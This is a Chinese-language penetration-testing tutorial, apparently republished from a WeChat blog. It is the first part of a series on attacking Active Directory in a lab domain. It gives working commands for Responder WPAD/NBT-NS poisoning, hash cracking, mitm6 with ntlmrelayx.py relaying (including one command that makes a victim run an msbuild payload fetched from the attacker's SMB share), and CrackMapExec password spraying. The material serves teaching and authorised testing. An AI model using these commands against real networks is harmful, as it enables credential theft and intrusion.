前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Active Directory渗透测试典型案例(1)

Active Directory渗透测试典型案例(1)

作者头像
用户1631416
发布2019-05-28 12:15:48
1.1K0
发布2019-05-28 12:15:48
举报
文章被收录于专栏:玄魂工作室

0x01 前言

我有几个客户在渗透测试之前来找我,说他们的系统安全做得非常好,因为他们的漏洞扫描显示没有严重的漏洞并且已准备好进行安全测试,这使我在15分钟内利用AD中的错误配置获得了域管理员权限。

我在渗透测试领域看到的一个教育缺陷是当前涉及渗透Active Directory(AD)方面缺乏知识。不幸的是,OSCP并没有覆盖AD测试,甚至连sans-gpen课程也很少涉及它。本文的目标是帮助展示我过去在对AD的安全测试中使用的一些技术,工具和方法。这绝不是一遍关于每种方法或工具的综合性手册。在本系列中,我将使用kali linux 2019,并通过虚拟机在自己的虚拟域上操作。

让我们首先说明目标:渗透测试的目标是识别攻击者为破坏网络而使用的任何可能的攻击向量。它不是为了获得域管理员权限。

现在我们有了一个目标,我们遵循了几个步骤来实现它。下面是关于测试环节的(粗略)图示指南。

概要:一个客户机雇佣您在他们的网络上进行渗透测试,该网络使用Active Directory。没有提供任何有关的信息,也没有任何登录凭据,也没有攻击范围,也没有进入客户公司前门的凭证,但是你可以设法从后门尾随进入,找到一个有IP电话的隐蔽房间。拔下IP电话的插头,插入笔记本电脑,发现自己在客服公司同一局域网内。下一步是什么?获得权限立足点。

0x02 第一阶段:获得权限立足点

由于没有信任证书,我们可以进行的侦察数量有限,而且几乎在整个周期的每一步都会进行侦察,但是我们可以立即采取一些措施来立足于网络。首先,因为我们有网络访问权限,所以只需通过ifconfig或ipconfig检查我们所在的子网。获得IP后,在nmap中执行ping扫描以查看是否可以访问其他设备。

代码语言:javascript
复制
nmap -sn 192.168.1.1/24

如果显示ping返回,那么该网络设备可网络连通。如果什么都没有得到,可能是ICMP被禁用,那么网络上没有其他设备,或者由于您没有经过身份验证,您无法与其他设备通信,并且可能被身份安全解决方案(如Cisco ISE)阻止。为了本文的目的,假设我们已经和一些设备网络连通,并且能够成功地对它们执行ping操作。

1.Responder

接下来,我们将使用一个名为Responder的工具,或者如果你偏爱Windows,那么Inveigh。这两个工具的作用是检查AD中非常常见的错误配置,从而导致WPAD和NBT-NS中毒的能力。默认情况下,Windows配置为在使用Internet时搜索Web代理自动发现文件。这在组织中很有用,因为设备将发送广播请求代理文件并接收代理文件。但是,它自然不会验证发送代理文件的人员,允许攻击者发送欺骗性答案然后请求凭据。

接下来,我们将使用一个名为Responder的工具,或者如果您偏爱Windows和Inveigh。这两个工具的作用是检查AD中常见的错误配置,从而导致WPAD和NBT-NS投毒。情况下,Windows配置为在使用Internet时搜索Web代理自动发现文件。这在企业组织中很有用,因为设备将发送广播请求代理文件并接收代理文件。但是,它自然不会对发送代理文件的人进行身份验证,从而允许攻击者发送一个欺骗的答案,然后请求凭据。

在Kali中,默认安装 responder

代码语言:javascript
复制
responder -I eth0 --wpad
代码语言:javascript
复制
在我的Windows 7计算机上,我打开Internet Explorer并转到Google,然后启动对WPAD文件的搜索。在Responder中,我看到请求通过,然后Responder自动用挑战回复请求,这导致受害者发送他们的用户名和哈希密码(以NTLMv2格式)

有了这个哈希表,我们可以做一些事情。我们可以尝试破解它,或者使用ntlmrelay.py之类的工具进行中继。我在该文章中阐述了如何转发NTLM哈希,所以我将继续阐述如何破解它,因为这通常是我在计划时所做的。

说实话,我很少在linux/kali上破解密码。我使用的是一个nvidia GPU显卡,它从来没有在Kali上被正确安装过,而且Windows上有hashcatgui,这使得它更简单容易并将使用它。我把收集到的哈希值存储到一个名为“hash.txt”的文件中,并对其运行一些简单规则和输入输出设置,但在本文中,我只是使用了字典rockyou.txt并运行它,它在一秒内就成功破解了哈希值。

我对HashcatGUI的设置

现在我们成功破解了密码,我们有登录凭据Alice:Password!

在继续之前,我想展示一些其他的方法,以防 Responder 程序不起作用。

2.mitm6

假设客户端的网络正在使用合法的WPAD PAC文件,并且您的欺骗无法正常运行。还有另一种技术利用IPv6和DNS将凭证中继到目标。默认情况下,IPv6已启用且实际上优先 于IPv4,这意味着如果计算机有IPv6 DNS服务器,则它将使用IPv4。此外此外,默认情况下,Windows计算机通过DHCPv6请求查找IPv6 DNS服务器,如果我们使用假的IPv6 DNS服务器进行欺骗,我们可以有效地控制设备查询DNS的方式。更多内容可以在这里阅读。

首先,下载mitm6

代码语言:javascript
复制
git clone https://github.com/fox-it/mitm6.git
cd mitm6
pip install .

然后针对目标网络工作组运行它。因为我们以前做过一次ping扫描,所以也获取到了netbios名称,显示目标域是lab.local

以下是我运行mitm6之前目标上的IP设置。

注意DNS服务器

然后运行mitm6

代码语言:javascript
复制
mitm6 -d lab.local

现在目标上的DNS服务器已经被更改

注意IPv6地址作为DNS服务器

现在真正的漏洞是Windows下IPV6比IPV4的攻击更好,这意味着现在已控制DNS。

所以现在利用这样一个事实:我们通过Ntlmrelayx.py再次欺骗WPAD响应来控制DNS。在这里,我写了一篇关于如何设置它的指南。

在一个窗口中运行mitm6时,同时打开另一个窗口并运行ntlmrelayx.py

代码语言:javascript
复制
ntlmrelayx.py  -wh 192.168.218.129  -t  smb://192.168.218.128/  -i
代码语言:javascript
复制
-wh: 托管WPAD文件的服务器(攻击者的IP)

-t: 目标(您无法将凭据中继到您正在欺骗的同一设备中)

-i:打开一个交互式shell

从这里我们可以通过netcat连接到shell,就好像我们有一个完全交互的SMB shell,或者我们可以通过-c(命令)发送一个Empire stager。实际上,你的选择仅限于ntlmrelayx.py所能做的。在这种情况下,我使用-c命令来执行silenttrinity有效payload。我在这里写了关于如何使用SILENTTRINITY的文章。

代码语言:javascript
复制
ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.50/ --no-smb-server -c 'C:\Windows\Microsoft.NET\Framework64\v3.5\msbuild.exe \\192.168.218.129\SMB\msbuild.xml'

但是,在本例中,msbuild.exe在这种情况下不构建XML文件,而且我也没有返回silenttrinity的连接,因为这太容易了。相反,我查看我的SMB服务器并查看中继哈希

然后反而我成功地破解了它

现在,我们成功地在不使用Responder的情况下拥有网络凭据

3.CrackMapExec

CrackMapExec本质上是一把瑞士军刀。从密码喷洒和哈希传递到命令执行,它应该在每个渗透测试工具包中被使用

如果其他都失败了,我们可以尝试密码喷洒。这个方法之所以是最后一个,是因为密码被锁定。密码锁定并不像您想象的那样常见,这允许攻击者对用户名使用字典进行攻击。获取用户名是第一步,可以通过OSInt和使用信息收集器来完成。如果我们没有来自osint的用户名,我们也可以给crackmapexec(cme)一个用户名字典表,但是为了时间的缘故,我们假设有用户名rsmith。

如果您使用的是Kali的较新版本,则默认已安装了CrackMapExec,但如果不是,则可以安装它

代码语言:javascript
复制
apt-get install crackmapexec

由于我们在扫描中识别出网络上的设备,因此我们可以向CME提供与用户名配对的密码字典并尝试登录。

代码语言:javascript
复制
crackmapexec smb 192.168.218.40 -d lab.local -u rsmith -p~ / Documents / wordlists / fasttrack.txt --shares

几秒钟后,就会获取到密码。

这可能看起来是CTF-Y,但season:year 是一个非常流行的密码组合。

有了这些找到的凭据,我们现在拥有了一个常规的用户帐户,并将下文中继续提升权限

在上文中,我以三种不同的方式获得了域的凭据。在本文的大部分内容中,我将使用rsmith用户凭据,因为它们权限是低级别的,这将使我们进行权限提升

当然,Windows中的权限提升可以来自缺少的补丁或不带引号的服务路径系统,但由于这是对AD的测试,我们将利用一些AD内容来提升权限。

有了网络凭据,我们现在应该先进行一些信息收集,然后再直接查看未打的补丁漏洞。有一些工具和技术会对我们有所帮助。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-05-27,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 玄魂工作室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x02 第一阶段:获得权限立足点
    • 1.Responder
      • 2.mitm6
        • 3.CrackMapExec
        相关产品与服务
        网站渗透测试
        网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档